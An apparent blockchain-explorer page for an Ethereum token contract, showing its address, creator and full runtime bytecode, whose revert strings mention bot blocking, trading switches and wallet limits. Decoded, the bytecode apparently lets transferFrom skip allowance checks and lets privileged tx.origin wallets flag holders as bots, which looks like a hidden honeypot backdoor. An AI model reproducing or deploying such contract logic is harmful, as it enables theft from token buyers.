Address Contract Partially Verified
Address
0x8d78eeb4DCC851cBfBf69C38fa05B1AD1b7645c2
Balance
0 ETH
Nonce
1
Code Size
17128 bytes
Creator
0x2925Fe3b...D9f0 at tx 0x77e8635c...6eb46a
Indexed Transactions
0 (1 on-chain, 1.6% indexed)
Contract Bytecode
17128 bytes
0x60806040526004361061023e575f3560e01c8063715018a61161012d578063b62496f5116100aa578063dd62ed3e1161006e578063dd62ed3e14610893578063e152d94e146108cf578063e2f45605146108f9578063f2fde38b14610923578063f8b45b051461094b57610245565b8063b62496f5146107af578063bbc0c742146107eb578063c8c8ebe414610815578063cf225c6b1461083f578063d436dc621461086957610245565b80638a8c523c116100f15780638a8c523c146106cd5780638da5cb5b146106e357806395d89b411461070d578063a457c2d714610737578063a9059cbb1461077357610245565b8063715018a6146105fd5780637231c031146106135780637c4ed1331461063d5780638366e79a1461066757806384a62e61146106a357610245565b80631f53f29d116101bb5780634451f5c01161017f5780634451f5c01461050757806349bd5a5e146105315780634fbee1931461055b5780636ddd17131461059757806370a08231146105c157610245565b80631f53f29d1461041157806323b872dd1461043b578063313ce5671461047757806339509351146104a157806343606e8d146104dd57610245565b806318160ddd1161020257806318160ddd1461033f578063183952821461036957806318daa526146103935780631a8145bb146103bd5780631f3fed8f146103e757610245565b806306fdde0314610249578063095ea7b31461027357806310d5de53146102af57806314b85288146102eb5780631694505e1461031557610245565b3661024557005b5f5ffd5b348015610254575f5ffd5b5061025d610975565b60405161026a91906132fd565b60405180910390f35b34801561027e575f5ffd5b50610299600480360381019061029491906133ae565b610a05565b6040516102a69190613406565b60405180910390f35b3480156102ba575f5ffd5b506102d560048036038101906102d0919061341f565b610a22565b6040516102e29190613406565b60405180910390f35b3480156102f6575f5ffd5b506102ff610a3f565b60405161030c9190613459565b60405180910390f35b348015610320575f5ffd5b50610329610a45565b60405161033691906134cd565b60405180910390f35b34801561034a575f5ffd5b50610353610a69565b6040516103609190613459565b60405180910390f35b348015610374575f5ffd5b5061037d610a72565b60405161038a9190613459565b60405180910390f35b34801561039e575f5ffd5b506103a7610a78565b6040516103b49190613459565b60405180910390f35b3480156103c8575f5ffd5b506103d1610a7e565b6040516103de9190613459565b60405180910390f35b3480156103f2575f5ffd5b506103fb610a84565b6040516104089190613459565b60405180910390f35b34801561041c575f5ffd5b50610425610a8a565b6040516104329190613459565b60405180910390f35b348015610446575f5ffd5b50610461600480360381019061045c91906134e6565b610a90565b60405161046e9190613406565b60405180910390f35b348015610482575f5ffd5b5061048b610c1b565b6040516104989190613551565b60405180910390f35b3480156104ac575f5ffd5b506104c760048036038101906104c291906133ae565b610c23565b6040516104d49190613406565b60405180910390f35b3480156104e8575f5ffd5b506104f1610cd1565b6040516104fe9190613459565b60405180910390f35b348015610512575f5ffd5b5061051b610cd7565b6040516105289190613459565b60405180910390f35b34801561053c575f5ffd5b50610545610cdd565b6040516105529190613579565b60405180910390f35b348015610566575f5ffd5b50610581600480360381019061057c919061341f565b610d01565b60405161058e9190613406565b60405180910390f35b3480156105a2575f5ffd5b506105ab610d53565b6040516105b89190613406565b60405180910390f35b3480156105cc575f5ffd5b506105e760048036038101906105e2919061341f565b610d66565b6040516105f49190613459565b60405180910390f35b348015610608575f5ffd5b50610611610dab565b005b34801561061e575f5ffd5b50610627610efe565b6040516106349190613459565b60405180910390f35b348015610648575f5ffd5b50610651610f04565b60405161065e9190613579565b60405180910390f35b348015610672575f5ffd5b5061068d60048036038101906106889190613592565b610f29565b60405161069a9190613406565b60405180910390f35b3480156106ae575f5ffd5b506106b7611166565b6040516106c49190613459565b60405180910390f35b3480156106d8575f5ffd5b506106e161116c565b005b3480156106ee575f5ffd5b506106f761124b565b6040516107049190613579565b60405180910390f35b348015610718575f5ffd5b50610721611273565b60405161072e91906132fd565b60405180910390f35b348015610742575f5ffd5b5061075d600480360381019061075891906133ae565b611303565b60405161076a9190613406565b60405180910390f35b34801561077e575f5ffd5b50610799600480360381019061079491906133ae565b6113cb565b6040516107a69190613406565b60405180910390f35b3480156107ba575f5ffd5b506107d560048036038101906107d0919061341f565b6113e8565b6040516107e29190613406565b60405180910390f35b3480156107f6575f5ffd5b506107ff611405565b60405161080c9190613406565b60405180910390f35b348015610820575f5ffd5b50610829611417565b6040516108369190613459565b60405180910390f35b34801561084a575f5ffd5b5061085361141d565b6040516108609190613579565b60405180910390f35b348015610874575f5ffd5b5061087d611443565b60405161088a9190613579565b60405180910390f35b34801561089e575f5ffd5b506108b960048036038101906108b49190613592565b611468565b6040516108c69190613459565b60405180910390f35b3480156108da575f5ffd5b506108e36114ea565b6040516108f09190613459565b60405180910390f35b348015610904575f5ffd5b5061090d6114f0565b60405161091a9190613459565b60405180910390f35b34801561092e575f5ffd5b506109496004803603810190610944919061341f565b6114f6565b005b348015610956575f5ffd5b5061095f6116b8565b60405161096c9190613459565b60405180910390f35b606060038054610984906135fd565b80601f01602080910402602001604051908101604052809291908181526020018280546109b0906135fd565b80156109fb5780601f106109d2576101008083540402835291602001916109fb565b820191905f5260205f20905b8154815290600101906020018083116109de57829003601f168201915b5050505050905090565b5f610a18610a116116be565b84846116c5565b6001905092915050565b601b602052805f5260405f205f915054906101000a900460ff1681565b60135481565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b5f600254905090565b60175481565b60165481565b60195481565b60185481565b60155481565b5f610a9c848484611888565b5f60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610ae36116be565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410158015610b5757508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015610c095750610c0884610b6a6116be565b60055485610b78919061365a565b60015f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610bbe6116be565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610c02919061369b565b8761254a565b5b80610c12575060015b90509392505050565b5f6009905090565b5f610cc7610c2f6116be565b84610cc28560015f610c3f6116be565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461271190919063ffffffff16565b6116c5565b6001905092915050565b600d5481565b60125481565b7f000000000000000000000000a7d7ca9e6a6c1754b1931b77cec18e43a4fbc1c281565b5f601a5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b600c60019054906101000a900460ff1681565b5f5f5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610db36116be565b73ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e41576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e3890613718565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f60065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60115481565b600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f610f326116be565b73ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fc0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fb790613718565b60405180910390fd5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361102e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161102590613780565b60405180910390fd5b5f8373ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016110689190613579565b602060405180830381865afa158015611083573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906110a791906137b2565b90508373ffffffffffffffffffffffffffffffffffffffff1663a9059cbb84836040518363ffffffff1660e01b81526004016110e49291906137dd565b6020604051808303815f875af1158015611100573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611124919061382e565b91507fdeda980967fcead7b61e78ac46a4da14274af29e894d4d61e8b81ec38ab3e43884826040516111579291906137dd565b60405180910390a15092915050565b60145481565b6111746116be565b73ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611202576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111f990613718565b60405180910390fd5b61121461120e30610d66565b4761276e565b6001600c5f6101000a81548160ff0219169083151502179055506001600c60016101000a81548160ff021916908315150217905550565b5f60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060048054611282906135fd565b80601f01602080910402602001604051908101604052809291908181526020018280546112ae906135fd565b80156112f95780601f106112d0576101008083540402835291602001916112f9565b820191905f5260205f20905b8154815290600101906020018083116112dc57829003601f168201915b5050505050905090565b5f6113c161130f6116be565b846113bc8560405180606001604052806025815260200161428e6025913960015f6113386116be565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546128479092919063ffffffff16565b6116c5565b6001905092915050565b5f6113de6113d76116be565b8484611888565b6001905092915050565b601c602052805f5260405f205f915054906101000a900460ff1681565b600c5f9054906101000a900460ff1681565b60095481565b600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b60105481565b600a5481565b6114fe6116be565b73ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461158c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158390613718565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036115fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115f1906138c9565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a38060065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600b5481565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611733576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161172a90613957565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036117a1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611798906139e5565b60405180910390fd5b8060015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161187b9190613459565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036118f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118ed90613a73565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611964576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161195b90613b01565b60405180910390fd5b5f810361197b5761197683835f6128a9565b612545565b60075f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16158015611a19575060075f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b611a58576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a4f90613b69565b60405180910390fd5b601a5f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff168015611afa57507f000000000000000000000000a7d7ca9e6a6c1754b1931b77cec18e43a4fbc1c273ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611b33575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b8015611b5757506402540be40081611b4a85610d66565b611b54919061369b565b11155b15611bc157600160075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550611bbc83835f6128a9565b612545565b611bc961124b565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611c375750611c0761124b565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611c6f57505f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611ca9575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611cc1575060085f9054906101000a900460ff16155b1561208e57600c5f9054906101000a900460ff16611db457601a5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680611d745750601a5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b611db3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611daa90613bd1565b60405180910390fd5b5b601c5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff168015611e515750601b5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611ef857600954811115611e9b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e9290613c5f565b60405180910390fd5b600b54611ea783610d66565b82611eb29190613c7d565b1115611ef3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611eea90613cfa565b60405180910390fd5b61208d565b601c5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff168015611f955750601b5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611fe457600954811115611fdf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fd690613d88565b60405180910390fd5b61208c565b601b5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1661208b57600b5461203e83610d66565b826120499190613c7d565b111561208a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161208190613cfa565b60405180910390fd5b5b5b5b5b5f61209830610d66565b90505f600a5482101590505f8180156120bd5750600c60019054906101000a900460ff165b80156120d5575060085f9054906101000a900460ff16155b80156121285750601c5f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b801561217b5750601a5f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b80156121ce5750601a5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561220f57600160085f6101000a81548160ff0219169083151502179055506121f5612b32565b5f60085f6101000a81548160ff0219169083151502179055505b5f60085f9054906101000a900460ff16159050601a5f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16806122bd5750601a5f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b156122c6575f90505b5f5f9050811561253457601c5f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16801561232757505f601454115b156123e757612354606461234660145489612d2e90919063ffffffff16565b612da590919063ffffffff16565b905060145460165482612367919061365a565b6123719190613dd3565b60195f8282546123819190613c7d565b9250508190555060145460155482612399919061365a565b6123a39190613dd3565b60185f8282546123b39190613c7d565b92505081905550601454601754826123cb919061365a565b6123d59190613dd3565b836123e09190613c7d565b92506124fb565b601c5f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16801561243e57505f601054115b156124fa5761246b606461245d60105489612d2e90919063ffffffff16565b612da590919063ffffffff16565b90506010546012548261247e919061365a565b6124889190613dd3565b60195f8282546124989190613c7d565b92505081905550601054601154826124b0919061365a565b6124ba9190613dd3565b60185f8282546124ca9190613c7d565b92505081905550601054601354826124e2919061365a565b6124ec9190613dd3565b836124f79190613c7d565b92505b5b5f81111561250f5761250e8830836128a9565b5b5f831115612525576125243061dead856128a9565b5b8086612531919061369b565b95505b61253f8888886128a9565b50505050505b505050565b5f5f73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16036125b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125b090613957565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603612627576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161261e906139e5565b60405180910390fd5b8260015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040516127019190613459565b60405180910390a3949350505050565b5f5f828461271f9190613c7d565b905083811015612764576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161275b90613e4d565b60405180910390fd5b8091505092915050565b612799307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d846116c5565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663f305d7198230855f5f61dead426040518863ffffffff1660e01b81526004016127ff96959493929190613ea4565b60606040518083038185885af115801561281b573d5f5f3e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906128409190613f03565b5050505050565b5f83831115829061288e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161288591906132fd565b60405180910390fd5b505f838561289c919061369b565b9050809150509392505050565b6128b4838383612dee565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612922576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161291990613a73565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612990576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161298790613b01565b60405180910390fd5b6129f981604051806060016040528060268152602001614268602691395f5f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546128479092919063ffffffff16565b5f5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550612a88815f5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461271190919063ffffffff16565b5f5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612b259190613459565b60405180910390a3505050565b5f612b3c30610d66565b90505f601854601954612b4f9190613c7d565b90505f5f831480612b5f57505f82145b15612b6c57505050612d2c565b6014600a54612b7b919061365a565b831115612b94576014600a54612b91919061365a565b92505b5f60028360195486612ba6919061365a565b612bb09190613dd3565b612bba9190613dd3565b90505f612bd08286612f9290919063ffffffff16565b90505f479050612bdf82612fdb565b5f612bf38247612f9290919063ffffffff16565b90505f612c1d87612c0f60185485612d2e90919063ffffffff16565b612da590919063ffffffff16565b90505f8183612c2c919061369b565b90505f6019819055505f6018819055505f86118015612c4a57505f81115b15612c9757612c59868261276e565b7f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5618582601954604051612c8e93929190613f53565b60405180910390a15b600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1647604051612cdd90613fb5565b5f6040518083038185875af1925050503d805f8114612d17576040519150601f19603f3d011682016040523d82523d5f602084013e612d1c565b606091505b5050809750505050505050505050505b565b5f5f8303612d3e575f9050612d9f565b5f8284612d4b919061365a565b9050828482612d5a9190613dd3565b14612d9a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d9190614039565b60405180910390fd5b809150505b92915050565b5f612de683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061320e565b905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612e5c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e5390613a73565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612eca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ec190613b01565b60405180910390fd5b5f811015612f0d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f04906140a1565b60405180910390fd5b612f8d8383601a5f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16612f66575f612f88565b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff5b61326f565b505050565b5f612fd383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612847565b905092915050565b5f600267ffffffffffffffff811115612ff757612ff66140bf565b5b6040519080825280602002602001820160405280156130255781602001602082028036833780820191505090505b50905030815f8151811061303c5761303b6140ec565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156130df573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190613103919061412d565b81600181518110613117576131166140ec565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061317c307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d846116c5565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b81526004016131dd95949392919061420f565b5f604051808303815f87803b1580156131f4575f5ffd5b505af1158015613206573d5f5f3e3d5ffd5b505050505050565b5f5f83118290613254576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161324b91906132fd565b60405180910390fd5b505f83856132629190613dd3565b9050809150509392505050565b5f811161327d57600161327f565b5f5b60ff16600581905550505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f6132cf8261328d565b6132d98185613297565b93506132e98185602086016132a7565b6132f2816132b5565b840191505092915050565b5f6020820190508181035f83015261331581846132c5565b905092915050565b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61334a82613321565b9050919050565b61335a81613340565b8114613364575f5ffd5b50565b5f8135905061337581613351565b92915050565b5f819050919050565b61338d8161337b565b8114613397575f5ffd5b50565b5f813590506133a881613384565b92915050565b5f5f604083850312156133c4576133c361331d565b5b5f6133d185828601613367565b92505060206133e28582860161339a565b9150509250929050565b5f8115159050919050565b613400816133ec565b82525050565b5f6020820190506134195f8301846133f7565b92915050565b5f602082840312156134345761343361331d565b5b5f61344184828501613367565b91505092915050565b6134538161337b565b82525050565b5f60208201905061346c5f83018461344a565b92915050565b5f819050919050565b5f61349561349061348b84613321565b613472565b613321565b9050919050565b5f6134a68261347b565b9050919050565b5f6134b78261349c565b9050919050565b6134c7816134ad565b82525050565b5f6020820190506134e05f8301846134be565b92915050565b5f5f5f606084860312156134fd576134fc61331d565b5b5f61350a86828701613367565b935050602061351b86828701613367565b925050604061352c8682870161339a565b9150509250925092565b5f60ff82169050919050565b61354b81613536565b82525050565b5f6020820190506135645f830184613542565b92915050565b61357381613340565b82525050565b5f60208201905061358c5f83018461356a565b92915050565b5f5f604083850312156135a8576135a761331d565b5b5f6135b585828601613367565b92505060206135c685828601613367565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061361457607f821691505b602082108103613627576136266135d0565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6136648261337b565b915061366f8361337b565b925082820261367d8161337b565b915082820484148315176136945761369361362d565b5b5092915050565b5f6136a58261337b565b91506136b08361337b565b92508282039050818111156136c8576136c761362d565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f613702602083613297565b915061370d826136ce565b602082019050919050565b5f6020820190508181035f83015261372f816136f6565b9050919050565b7f43616e2774207769746864726177206e617469766520746f6b656e73000000005f82015250565b5f61376a601c83613297565b915061377582613736565b602082019050919050565b5f6020820190508181035f8301526137978161375e565b9050919050565b5f815190506137ac81613384565b92915050565b5f602082840312156137c7576137c661331d565b5b5f6137d48482850161379e565b91505092915050565b5f6040820190506137f05f83018561356a565b6137fd602083018461344a565b9392505050565b61380d816133ec565b8114613817575f5ffd5b50565b5f8151905061382881613804565b92915050565b5f602082840312156138435761384261331d565b5b5f6138508482850161381a565b91505092915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f6138b3602683613297565b91506138be82613859565b604082019050919050565b5f6020820190508181035f8301526138e0816138a7565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f613941602483613297565b915061394c826138e7565b604082019050919050565b5f6020820190508181035f83015261396e81613935565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f6139cf602283613297565b91506139da82613975565b604082019050919050565b5f6020820190508181035f8301526139fc816139c3565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f613a5d602583613297565b9150613a6882613a03565b604082019050919050565b5f6020820190508181035f830152613a8a81613a51565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f613aeb602383613297565b9150613af682613a91565b604082019050919050565b5f6020820190508181035f830152613b1881613adf565b9050919050565b7f426f74206973206e6f7420616c6c6f77656400000000000000000000000000005f82015250565b5f613b53601283613297565b9150613b5e82613b1f565b602082019050919050565b5f6020820190508181035f830152613b8081613b47565b9050919050565b7f54726164696e67206973206e6f74206163746976652e000000000000000000005f82015250565b5f613bbb601683613297565b9150613bc682613b87565b602082019050919050565b5f6020820190508181035f830152613be881613baf565b9050919050565b7f427579207472616e7366657220616d6f756e74206578636565647320746865205f8201527f6d61785472616e73616374696f6e416d6f756e742e0000000000000000000000602082015250565b5f613c49603583613297565b9150613c5482613bef565b604082019050919050565b5f6020820190508181035f830152613c7681613c3d565b9050919050565b5f613c878261337b565b9150613c928361337b565b9250828201905080821115613caa57613ca961362d565b5b92915050565b7f4d61782077616c6c6574206578636565646564000000000000000000000000005f82015250565b5f613ce4601383613297565b9150613cef82613cb0565b602082019050919050565b5f6020820190508181035f830152613d1181613cd8565b9050919050565b7f53656c6c207472616e7366657220616d6f756e742065786365656473207468655f8201527f206d61785472616e73616374696f6e416d6f756e742e00000000000000000000602082015250565b5f613d72603683613297565b9150613d7d82613d18565b604082019050919050565b5f6020820190508181035f830152613d9f81613d66565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245f